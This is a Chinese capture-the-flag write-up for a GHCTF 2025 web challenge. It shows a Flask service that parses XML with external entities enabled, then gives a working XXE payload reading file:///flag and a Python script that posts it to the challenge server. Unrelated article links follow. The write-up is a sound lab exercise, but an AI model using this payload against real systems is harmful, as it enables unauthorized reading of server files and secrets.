当前位置: 首页 > news >正文

[GHCTF 2025](>﹏<)

题目代码

from flask import Flask,request 
import base64 
from lxml import etree 
import re app = Flask(__name__) 
@app.route('/') 
def index(): 
    return open(__file__).read() 
@app.route('/ghctf',methods=['POST']) 
def parse():
    xml=request.form.get('xml') 
    print(xml) 
    if xml is None: 
        return "No System is Safe."
 
#漏洞关键点:
#load_dtd=True 允许加载外部dtd文件
#resolve_entities=True 允许解析 XML 实体,包括外部实体

    parser = etree.XMLParser(load_dtd=True, resolve_entities=True) 

#etree.fromstring(xml, parser) 方法将接收到的 XML 字符串解析为一个 Element 对象
#该对象代表着根元素
#在根元素中查找到第一个name标签,并将其文本内容赋值给name
    root = etree.fromstring(xml, parser) 
    name=root.find('name').text 
    return name or None 
if __name__=="__main__": 
    app.run(host='0.0.0.0',port=8080)

 构造

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>

利用Python发包

import requests

url = "http://node1.anna.nssctf.cn:28621/ghctf"
#用"""包裹支持多行文本
exp = """
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <name>&xxe;</name>
</root>"""

r = requests.post(url, data={"xml": exp})
print(r.text)

直接在根目录下寻找flag 

相关文章:

  • Manus AI:多语言手写识别的技术革命与未来图景
  • Java 大视界 -- Java 大数据在智能医疗药品研发数据分析与决策支持中的应用(126)
  • linux下的网络抓包(tcpdump)介绍
  • 网络基础概述2
  • 入门到入土,Java学习 day16(算法1)
  • 【2025】AWVS安装保姆级教程(最新25.1.2可用)
  • HEC-HMS水文建模全解析:气候变化与极端水文、离散化流域单元‌精准刻画地表径流、基流与河道演进过程‌
  • STM32全系大阅兵(2)
  • 七层协议攻防实战:从HTTP慢速攻击到DNS隧道检测
  • Cursor新版0.47.x发布
  • 大语言模型基础—语言模型的发展历程--task1
  • CUDA error: fatal error: cuda/std/utility: No such file or directory #include
  • 【MySQL是怎么运行的】三、事务
  • 密立根油滴仪测油滴电荷数据计算 Python实现
  • [算法] 结点K个一组的链表反转(hard)
  • 深入解析 TCP 协议【真题】
  • js-对象浅拷贝和深拷贝( B复制A,看B的值对比:都变为浅,一变一不变为深)
  • 5G技术与物联网融合:未来智慧城市的基石
  • Docker+Flask 实战:打造高并发微服务架构
  • ListView_GetIconBufferX函数和ListView_GetIconBufferY函数和RECT结构的关系
  • 竞彩湃|德甲欧冠资格竞争白热化,伯恩茅斯主场迎恶战
  • 让“五颜六色”面孔讲述上海故事,2025年上海城市推荐官开启选拔
  • 洗冤录|县令遇豪强:黄榦处理的一起地产纠纷案
  • 深圳市政协原副主席王幼鹏被“双开”
  • 新城市志|上海再攻坚,营商环境没有最好只有更好
  • 广西钦州:坚决拥护自治区党委对钟恒钦进行审查调查的决定